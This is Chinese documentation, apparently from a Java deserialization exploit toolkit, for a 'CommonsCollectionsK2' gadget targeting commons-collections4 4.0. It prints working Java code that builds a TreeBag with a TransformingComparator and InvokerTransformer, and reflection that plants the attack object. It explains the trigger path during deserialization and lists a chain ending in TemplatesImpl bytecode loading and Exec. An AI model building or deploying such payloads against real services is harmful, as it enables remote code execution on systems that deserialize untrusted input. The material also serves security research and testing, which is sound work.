- 类别:javanative 别名:K2 优先级:10
- 作者:—
- 依赖:
org.apache.commons:commons-collections4:4.0
K1 在 commons-collections4 上的等价实现:用 TreeBag + TransformingComparator + InvokerTransformer,在 Java 原生反序列化时对任意可序列化内层对象调用其任意 public 无参方法。CC4 的包名与序列化结构与 CC3 不同,故单列此 gadget。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口。 - 衔接
nextTags:TemplatesImplChain、SignedObjectChain、MapMessageChain、RMIConnectorChain、SpecialPublicMethod—— 之后接决定「触发哪个 public 方法」的下游 gadget,方法名经上下文注入。 excludes:C3p0JndiChain—— 与 C3P0 JNDI 下游互斥。
public TreeBag getObject(Object obj) throws Exception {
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator((Transformer)transformer);
TreeBag tree = new TreeBag((Comparator)comp);
tree.add((Object)"foo");
CommonsCollectionsK2.replaceTreeBagElement(tree, obj);
Reflections.setFieldValue(transformer, "iMethodName", this.iMethodName);
return tree;
}逐段解释:
new InvokerTransformer("toString", ...)—— 同 K1,先用toString占位,防止构造期误触发。new TransformingComparator(transformer)—— CC4 的TransformingComparator.compare(a,b)会先对元素调用transformer.transform(...)再比较,是本链的触发点。new TreeBag(comp)+tree.add("foo")—— 用一个无害字符串占位,先让TreeBag底层TreeMap建立一个根节点。不能一开始就放入真实obj,否则add阶段就会调用compare触发反射。replaceTreeBagElement(tree, obj)—— 见下方,反射把根节点的key换成真正的攻击对象。- 最后反射改写
iMethodName为真实方法名。
private static void replaceTreeBagElement(TreeBag tree, Object obj) throws Exception {
Object map = Reflections.getFieldValue(tree, "map"); // TreeBag 内部的 TreeMap
Field rootField = Reflections.getField(map.getClass(), "root");
if (rootField == null) return;
Object root = rootField.get(map); // TreeMap 的根 Entry
if (root == null) return;
Reflections.setFieldValue(root, "key", obj); // 把根节点 key 换成攻击对象
Reflections.setFieldValue(tree, "uniqueSet", null); // 清空缓存视图,避免序列化异常
}- 通过反射深入
TreeBag → TreeMap → root(Entry),把root.key从占位的"foo"替换为内层对象obj;这样反序列化重建TreeMap时,比较器会拿obj去compare。 - 置
tree.uniqueSet = null:TreeBag的uniqueSet是延迟视图,替换底层 key 后清空以免序列化/反序列化不一致。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context);
context.put(ContextTag.CC_VERSION, ContextTag.CC_VERSION_4);
this.iMethodName = context.getString(ContextTag.SPECIAL_METHOD_NAME_KEY);
return this.getObject(object);
}- 声明
CC_VERSION_4,先构造内层对象,再从SPECIAL_METHOD_NAME_KEY取要调用的方法名。语义与 K1 完全一致,仅底层容器换成 CC4 的TreeBag。
触发链(反序列化时):
TreeBag.readObject → doReadObject(按比较器重建 TreeMap)→ TransformingComparator.compare → InvokerTransformer.transform(obj) → Method.invoke(obj, iMethodName)(无参)。
本类无 @Param。iMethodName 由上下文 SPECIAL_METHOD_NAME_KEY 注入;iParamTypes / iArgs 为空。
- 适用
commons-collections4:4.0(4.1 起TransformingComparator/InvokerTransformer加了Serializable及校验,需评估)。 - 与 K1 的差异仅在容器:CC4 无
LazyMap版本的readObject触发点,改用TreeBag的比较器路径。 - 依旧只能调用无参 public 方法;带参链式转换请用 CommonsCollectionsK4。
- K2链(
[CommonsCollectionsK2, TemplatesImpl, BytecodeConvert, Exec])
- 下游(
nextTags):TemplatesImpl、SignedObject、MapMessage、RMIConnector - 同族:CommonsCollectionsK1(CC3.2.1 等价实现)、CommonsCollectionsK4(CC4.0 的
ChainedTransformer变体)